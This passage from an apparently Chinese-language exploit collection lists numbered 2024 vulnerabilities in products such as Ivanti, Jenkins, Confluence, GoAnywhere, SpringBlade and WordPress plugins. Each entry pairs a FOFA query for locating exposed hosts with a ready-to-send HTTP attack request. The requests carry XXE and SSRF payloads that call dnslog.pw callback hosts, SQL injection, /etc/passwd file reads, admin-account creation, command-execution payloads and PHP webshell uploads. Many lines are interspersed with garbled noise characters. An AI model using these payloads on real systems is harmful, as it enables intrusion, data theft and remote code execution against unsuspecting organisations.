xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
% c9 Y* ^: r+ v1 N
; G# x! h  A6 P6 s! @2 x2 b0 Q' K0 T103. Ivanti Pulse Connect Secure VPN XXE
& d1 U( d, ^! m: CCVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
: }1 U2 E: A; ~8 ^POST /dana-na/auth/saml-sso.cgi HTTP/1.1
' t, R; S- ^2 e+ J  e" yHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
0 L' E( N5 a7 I: r: MConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
3 l% u* [* {& @) g# F0 RAccept-Encoding: gzip

# j9 W- y' h$ ]SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


: r2 R% m  C3 |- @4 {' G" e其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

% |: B/ K  t! v) A6 v4 W
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
  j4 j1 D+ r2 {FOFA：title="TOTOLINK"
9 C5 Y& L/ K7 R! D0 h2 y' @  O6 XPOST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
2 x% J) r- y% M0 u: u' ~3 m6 U5 s' DContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
3 J. p; S7 s9 X0 Z5 Y2 L$ N. r7 iX-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
4 J. s, @# N: E1 c8 F$ Q* IReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
- D! f2 L7 L) R9 O  W2 |Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
) y2 q# Y0 g! |- h( eConnection:close

4 x) ]: s" s: w+ e' L{
% }8 d% _6 }6 Z4 Z9 h% _' S"topicurl":"getSysStatusCfg",
9 ]( F. S% U$ v, p2 Y5 e"token":""
: ]1 j* b9 c! T# ?}
" |" M1 i( P) [. S
# i+ _6 n$ G3 J( b105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
; q% A: z; P9 g7 Hhttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

106. SpringBlade dict-biz/list SQL 注入
% Z( _1 Q2 f8 ]; _. K9 e  H) }% c6 VFOFA：body="Saber 将不能正常工作"
3 J" R' m" x- s  G5 bGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
6 d/ j( F. F* J* U% ]3 c& R0 y) tBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
, A$ D7 w, P6 C6 z' W% mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ r% N" Y0 L( z+ ]7 o8 [Connection: close
1 F9 F/ j" x% ~3 n% W8 _

107. SpringBlade tenant/list SQL 注入
; u8 q5 k& l' c7 L+ xFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
/ v  Y. _" F( _3 U. g5 kHost: your-ip
, {' n8 E3 V" A6 E1 M; T* ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
# P- r8 `  I9 P; k: C! N7 d" d  OBlade-Auth:替换为自己的
Connection: close

$ o: {5 L% I+ i, ^5 K! }
108. D-Tale 3.9.0 SSRF
3 K6 T, j! A3 q, t+ LCVE-2024-21642
8 F% d0 T( R! Y1 {FOFA："dtale/static/images/favicon.png"
% g, R6 L( j5 k% W6 FGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
4 N9 z% l7 r% `9 ~" CAccept: application/json, text/plain, */*
# l. M5 P2 j6 d. f2 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
# J, ?) z2 {3 u/ @; ?" S' M. G/ TAccept-Encoding: gzip, deflate
! P9 ]9 o( b' HAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close


109. Jenkins CLI 任意文件读取
- J1 R2 E# {1 [( [1 V4 uCVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
9 l3 V7 B; P# PContent-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
Side: upload
Connection: keep-alive
Content-Length: 163
5 r9 Q/ e% q$ Y: z& \: ?+ C( T9 f
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


5 |: B' d2 P$ N9 QPOST /cli?remoting=false HTTP/1.1
Host:
2 f' E! m+ v+ d9 aSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
7 m: O& ^. p4 TContent-Type: application/x-www-form-urlencoded
Content-Length: 0

; D% W. g2 B3 {# E3 O, F3 q" A+ w
3 x, p. K) s6 Y! U4 }ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


, o" i& M, D4 u110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
2 V1 W- w" u5 G1 A! ]5 qGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
# p1 m' B1 Y  ^Host: 192.168.40.130:8000
0 y+ B8 @7 F: f  o$ TUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
8 p$ h/ Z% R1 f. x& bConnection: close
1 e8 _/ z2 Q$ N4 _% \Accept: */*
$ V3 d" o# _2 ?% ^+ r$ mAccept-Language: en
Accept-Encoding: gzip
, ^& O& `: X0 a/ x( L& ?3 K

3 d6 [( H$ x! s$ b9 b3 k0 C111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
2 T& Y, l* h0 x7 P, gGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
# J( P- O; Z/ m* cUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
# x$ B# i' Y3 ^5 M* F  ~9 [Accept-Encoding: gzip
8 g1 K9 q* `1 M" K0 a+ D
% d+ A! X) h% \& Y
112. WordPress Plugin NotificationX SQL 注入
2 q9 H6 z0 I5 H  ZCVE-2024-1698
3 a$ A# O2 U/ o! i5 U- p5 P* lFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
2 L% e! L8 G7 g7 J; BHost: {{Hostname}}
2 U6 _( j4 r* r6 J* XContent-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
: K. J3 [8 Q/ Z5 E  }' qCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
1 p" J/ ^! T# Q# l3 ~Accept-Encoding: gzip

* T2 V1 w& W, l  u! A
3 J$ ]; C5 J6 S! r) N( e114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
' f1 p& f( V, sHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
( {- z! d/ f/ B- r9 U" FAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
" v- o# M, y1 @* l' q9 e0 wConnection: close
6 m  B  @/ @  o9 j. P
; l4 C0 N$ W( C: Z
5 b  x( Y8 E' F% L* M( Q" C0 g2 _115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
- w7 l# x" Y, z1 R* G+ H# O- T  W$ NFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
2 C8 Z2 O5 R& A- Q% w+ T5 |8 |GET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
! z1 l# Z: G  U. o- u( m+ WConnection: close
Accept-Encoding: gzip

, y/ |2 F5 ~5 P& b9 Y; |- ~
第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
% g" T' O, p1 p( [3 Q& O7 uHost: x.x.x.x
4 \9 j$ N, \: z/ q$ @User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
' q' j) M7 g" S8 i2 iConnection: close
; b8 F4 f3 q9 f: X9 d! dContent-Length: 356
2 J5 H- v+ E" T; e. sContent-Type: application/json
Accept-Encoding: gzip

{
"postId": "1",
  "nonce": "第一步获得的值",
! [' s" R+ k* ~6 r* r  "element": {
+ ^5 o$ A  ?( Y0 ~( H8 O: I    "name": "container",
# f2 U# Z3 @4 d% l7 O    "settings": {
8 `' E, N5 E! v' A$ Y6 g$ k5 V( v      "hasLoop": "true",
      "query": {
6 o1 r& t4 |4 {        "useQueryEditor": true,
: d  a' K: A% m1 S        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
- v6 r* N& \( F- }( |& J        "objectType": "post"
! b0 _# G7 o: H- W  K! w) r      }
    }
  }
}

$ ~! `" U0 L6 r9 Y. y! T( [
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
; O" q7 ~* P% f: cPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
( ~, E5 n; d$ T8 z& {Host:
5 Q/ }. ?, Z! Q5 RContent-Type: multipart/form-data; boundary=--------767099171
+ \& `/ k: o4 F% VUser-Agent: Mozilla/5.0
" |0 `) U% Z; J$ e; i
; ^' Y9 o/ Z+ A( b. a! l3 ^* }4 K. M----------767099171
Content-Disposition: form-data; name="action"
configuration_saveconfiguration
----------767099171
. D0 q2 X2 h* M4 ?  V  t' g( `Content-Disposition: form-data; name="form_request"
0 i( |5 S) [" m  [- S7 ijssupportticket
+ Q. h* `( P0 R: q+ W9 S/ G----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
. f  O0 d" h# y6 j. YContent-Type: image/png
/ t+ B! z% @% |$ D7 U  B----------767099171--
- l7 s% j' n7 W( d  I& D2 r. a2 Y
, X* H# ^5 G2 ?& ?& S6 N5 D) @$ p
117. WordPress LayerSlider插件SQL注入
8 N1 ?3 ?5 I. pversion：7.9.11 – 7.10.0
$ n7 N* C" ^7 ~0 d; B# i$ K6 lFOFA：body="/wp-content/plugins/LayerSlider/"
0 h8 H6 A" i, X3 e0 T) AGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
3 a: K" M" ]6 C+ m, lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; ?, p; J4 J$ g2 [6 o3 I# yAccept-Encoding: gzip, deflate, br
Connection: close
3 U2 v3 x; m- t% J. FUpgrade-Insecure-Requests: 1
/ l; n9 W) |% ?

118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
7 I4 ]) F! d, H  t- e+ iCVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
: g* l3 |; G4 y8 G6 ~$ [: ^( bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  B0 @, c0 q. A6 F8 K, dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
8 _" J/ w0 x6 n* [0 @' H; E1 eOrigin: https://192.168.40.130:8443
( Q4 A& w5 K: G  @# v/ o2 d3 l7 T4 ^Referer: https://192.168.40.130:8443/Tool/uploadfile.php
& a5 z4 ^4 H& n: dUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
9 S% U" c3 k, M6 i3 q' K% cSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
) Y5 w+ o0 s) C5 d( a5 P3 }7 aTe: trailers
1 v; t: ?0 k' Z  V% _$ xConnection: close
; L% q; w8 {3 M) N
-----------------------------13979701222747646634037182887
- i- M" L- T7 O5 A& C! yContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
. o( b# Q! Y9 a) z) R4 ?2 t
2 ?' e, I* m1 j<?php
0 }" t8 T6 y( t9 q1 ]system($_POST["passwd"]);
?>
, D  f2 b2 ^( Q% I% v4 x! }; W8 o-----------------------------13979701222747646634037182887
  o. y# N& }: v+ KContent-Disposition: form-data; name="txt_path"

  m8 r* {+ V0 s/home/src.php
-----------------------------13979701222747646634037182887--
. ?) _  E& m6 i+ C: Q7 E

9 a* X8 B$ L) M% J访问/home/src.php
, v! ~; g/ H) T
% P1 C7 u8 @, ]# k& _119. 北京百绰智能S20后台sysmanageajax.php sql注入
) Q, R2 G  e* X2 ]1 Z7 p4 j( TCVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
7 ]- j9 v8 N; ?/ ]( L  p3 nCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
4 y6 T" n" K. eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
# [8 Y9 E  ?0 i' o. c( g) e/ nContent-Length: 109
) h* F3 p  X" i' D, U* b2 [Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
3 @/ w( O2 F% m- F+ k2 DSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
! s9 b" \9 n3 |5 cSec-Fetch-Site: same-origin
* z( s' u6 s6 C, ?2 o* NX-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
/ j2 M3 Q2 {% a5 _2 y3 P" v- XX-Remote-Addr: 1.1.1.1
Te: trailers
% ~8 b) g. I7 y- ]Connection: close
: G+ b) {0 F" z5 o7 o% v+ ]
* Q: C! O: ?9 ~6 hsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456

6 Q& v' [3 I4 s
120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
( ?+ h5 V  V( rHost: ip:port
; {3 p: G& h! F' N- F: e% {Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
# a" O3 S  T3 d. M: U8 w, AUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
: H& g5 w' ?1 L2 R0 hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# \: l7 \2 k# s5 n" o+ |+ M; o- W1 ^2 yAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
  ?# V# d  `# I/ K+ g5 VOrigin: https://ip:port
0 w! x' m/ k# B( [) Q" ]Referer: https://ip:port/sysmanage/licence.php
# v+ E' v5 p; U7 f- h9 |7 Y) b" eUpgrade-Insecure-Requests: 1
  I! t- p) s( p6 Y8 USec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
! \5 q5 v; e, f" N( USec-Fetch-Site: same-origin
8 w: S4 Y' U1 P, I8 N% ySec-Fetch-User: ?1
Te: trailers
Connection: close

4 }# ]) y. _/ \# u# n" x0 j-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="file_upload"; filename="2.php"
) q( l" c# l' y3 A/ x- h* J1 ZContent-Type: application/octet-stream

5 Z0 D* m. \$ W- Y& a/ n<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

1_radhttp
! H$ @; X4 o. o-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"
5 `) b6 y# i8 K4 o  R% g; N. z) }8 V6 m
import
# q* x6 a0 L3 N5 S& p. I-----------------------------42328904123665875270630079328

4 i9 N& ^( y1 X  K8 o
( |* f( c. V7 U! Q$ [文件路径/upload/2.php
% V( t/ z. z1 u, w# \' `$ m% W8 t
1 N( w; N+ D: y' X. N, z; ~. p121. 北京百绰智能S42管理平台userattestation.php任意文件上传
! M% b7 a7 d  U3 a7 {1 n! G* T; GCVE-2024-1918
$ ~. Y7 X4 K6 l! Q9 Q/ B& }FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
! e! f6 A* E+ a% C+ VHost: 192.168.40.130:8443
6 t; w+ ~5 H9 N3 iCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
2 \' n% [8 X: k0 @  W1 M$ Z# ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% N* G& G7 z5 h6 e3 G% b+ K- zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
  V% Z) a  z% F$ E# S: x$ jSec-Fetch-Dest: document
4 U$ E0 W/ L1 \- jSec-Fetch-Mode: navigate
! U, _1 h8 `0 U9 C+ d4 wSec-Fetch-Site: same-origin
. O8 o5 P/ T! f* X2 OSec-Fetch-User: ?1
Te: trailers
Connection: close

! v' M' |) N1 B1 a& e. [7 v( m-----------------------------42328904123665875270630079328
  a6 l5 p5 Z9 W( D1 ?Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
8 ?, ]1 L6 {& q' j6 b$ }) ]% }
0 w" _: d  Q  p  T4 o1
-----------------------------42328904123665875270630079328
  M' D% H* n) t( a# `Content-Disposition: form-data; name="1_ck"

1_radhttp
8 ]1 ?; H0 A% x: w. v- I% S; D-----------------------------42328904123665875270630079328
8 q5 [% ^: k3 Q! CContent-Disposition: form-data; name="hidwel"

# @% p* n  y/ c1 u2 ?- o& hset
-----------------------------42328904123665875270630079328


' R* }! h- I1 T% r# k. Q: lboot/web/upload/weblogo/1.php

1 n- C$ ^4 v0 Z7 o1 B1 O3 f. r122. 北京百绰智能s200管理平台/importexport.php sql注入
- P' r$ ~9 {! x: u$ tCVE-2024-27718FOFA：title="Smart管理平台"
其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
& q( U* p3 }2 BHost: x.x.x.x
Cookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ [! J; s$ j5 o$ D# y0 ZAccept-Encoding: gzip, deflate, br
* }- v: w) A, R& c! OUpgrade-Insecure-Requests: 1
8 ]6 s: D. S9 z3 N  G* lSec-Fetch-Dest: document
- q; l( b2 T& |7 o8 ^  kSec-Fetch-Mode: navigate
Sec-Fetch-Site: none
6 Z% Z, _1 J& i- ^Sec-Fetch-User: ?1
Te: trailers
/ m. N& X6 C9 ?$ ^7 d8 \! u' H/ z6 `Connection: close
* `' ?% Q) a6 @
; P3 _+ m; Y6 v9 ]
123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
; w* K1 I, J( eAccept-Encoding: gzip, deflate, br
" f) G! R) v. u: u/ \; y+ j7 @Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
+ s* {. }  a2 ?  a& x* w' X/ s: RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
- d, Q/ T1 w! W* v1 \% \Connection: close
9 I# E- y4 h+ S4 c0 `9 T; iContent-Type: application/x-www-form-urlencoded
1 o4 T: k' _3 |5 y- t9 M0 a
6 f, E3 b" ?0 X* W. N8 Wlabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


$ h' L! X6 t8 y. `, Z% L124. 湖南建研工程质量检测系统任意文件上传
7 ^+ b) e0 U/ ?! E) fFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
* l6 X; [  Z, Z( Z1 F' X. E$ `+ c( zHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
% V! `  H4 i* NContent-Length: 72
% {6 g  U0 G; E2 x6 }5 cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
! G) |( K! E8 I7 o0 _' d' l7 I4 `) SAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
% e) A. a, m0 s# X& m% @* k8 s8 ZContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


http://192.168.40.130:8282/Scripts/abcgcg.aspx

: M  F1 X) h, o6 _& r% q125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc

9 |9 i( P0 x) P9 }8 w
使用方法
: I( d: x* ]+ C. Lpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!


创建好用户后直接登录后台，可以执行系统命令。
3 |1 c1 k- _" q( v: ~  F
+ R& k, J+ d) `( Y6 j126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
0 q& A) n5 a: u& t% ?GET /static/../../../../../etc/passwd HTTP/1.1
Host: x.x.x.x
, i3 ?! e  b; O2 \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
7 U7 H: B$ U. S- tAccept: */*
( k7 e. ~$ |& D, L  pAccept-Language: en
Accept-Encoding: gzip
; a2 `4 g5 @: z' ^# G4 f9 p# o

0 O0 {) t4 g, k' r+ D) G# K127. 广联达Linkworks DataExchange.ashx XXE
# j3 q! z( ?/ w+ C7 V- O" iFOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
$ m1 \1 @* _: A. R8 I/ K: hHost: 192.168.40.130:8888
& n. D" h) M1 P5 @5 J+ E0 F( GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
8 s' D! z  h7 X; V+ E: R& O; LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# y, x0 C' e/ N4 k% JAccept-Encoding: gzip, deflate
* _/ b: o: s4 E# i- b  r; cAccept-Language: zh-CN,zh;q=0.9
# V5 g( u! x& ?  K9 H, XConnection: close
5 ~  k/ b/ }2 u% c# D. PContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
; w) n' ^! V1 ?. _Purpose: prefetch
/ Y2 Z7 x2 ]' l$ N; y1 USec-Purpose: prefetch;prerender
2 S( v4 N1 G$ U$ _4 N6 ^
1 E4 T& Z' {8 _1 ]" k- b, B1 r0 T------WebKitFormBoundaryJGgV5l5ta05yAIe0
8 B! Z/ F4 \/ Z/ R9 a2 cContent-Disposition: form-data;name="SystemName"

BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
. K8 r" K6 l$ y" ^+ ^  }2 }& VContent-Disposition: form-data;name="Params"
  r5 T2 E7 b; J1 JContent-Type: text/plain
5 t; R7 i* a" H0 t" D  K6 O; x
: I% ~. e% h2 i- `8 O  {$ Z: W<?xml version="1.0" encoding="UTF-8"?>
" e- |# m% s- J3 e* p<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
